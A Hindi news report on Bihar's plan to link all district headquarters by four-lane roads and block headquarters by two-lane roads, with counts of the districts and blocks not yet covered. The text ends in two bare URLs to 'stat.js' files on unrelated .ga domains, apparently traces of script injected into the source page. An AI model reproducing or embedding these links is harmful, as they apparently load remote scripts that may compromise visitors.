बिहार के सभी जिला मुख्यालय चार लेन सड़क से जुड़ेंगे। चालू वित्तीय वर्ष में पथ निर्माण विभाग इस योजना पर काम कर रहा है। सरकार की कोशिश है कि जिस जिला मुख्यालय के लिए अभी चार लेन सड़क की योजना नहीं है, वहां योजना बनाकर इसी वित्तीय वर्ष में काम शुरू हो जाए।

चार लेन सड़क बनाने के पीछे सरकार की कोशिश है कि जिलों में लगने वाले जाम की समस्या से निजात मिले और लोगों को जिला मुख्यालय में आने-जाने में भी सुविधा हो। राज्य के 38 जिले में से अभी 15 जिलों से होकर ही चार लेन सड़क गुजरती है। केंद्र व राज्य सरकार की योजनाओं के तहत 9 और जिलों में चार लेन सड़क बनाने पर काम चल रहा है। यानी कुल 24 जिले में चार लेन सड़क आने वाले वर्षों में हो जाएंगे। लेकिन अभी भी एक तिहाई से अधिक यानी 14 जिला मुख्यालय चार लेन सड़क से वंचित है।

इसके लिए जरूरत हुई तो बिहार सरकार केंद्र से भी सहायता लेगी। कुछ नेशनल हाईवे के चौड़ीकरण की जरूरत हुई तो सरकार इसके लिए केंद्र सरकार को प्रस्ताव भेजेगी। विभाग की कोशिश है कि चालू वित्तीय वर्ष में ही इस पर काम शुरू हो जाए ताकि आने वाले चंद वर्षों में ही विभाग की महत्वाकांक्षी परियोजना साकार हो जाए।

पथ निर्माण विभाग जिला मुख्यालय के बाद प्रखंड मुख्यालयों को दो लेन सड़क से जोड़ने की योजना पर भी काम कर रहा है। राज्य के 534 प्रखंड मुख्यालय में से अभी 349 प्रखंड मुख्यालय ही दो लेन सड़क से जुड़े हैं। अभी भी 185 प्रखंड मुख्यालय दो लेन सड़क से वंचित है। पथ निर्माण विभाग सभी प्रखंड मुख्यालयों को भी दो लेन सड़क से जोड़ने पर काम कर रहा है। इसके लिए स्टेट हाईवे और वृहद जिला सड़कों को दो लेन चौड़ा बनाएगा ताकि लोगों को प्रखंड मुख्यालय आने-जाने में कोई परेशानी नहीं हो।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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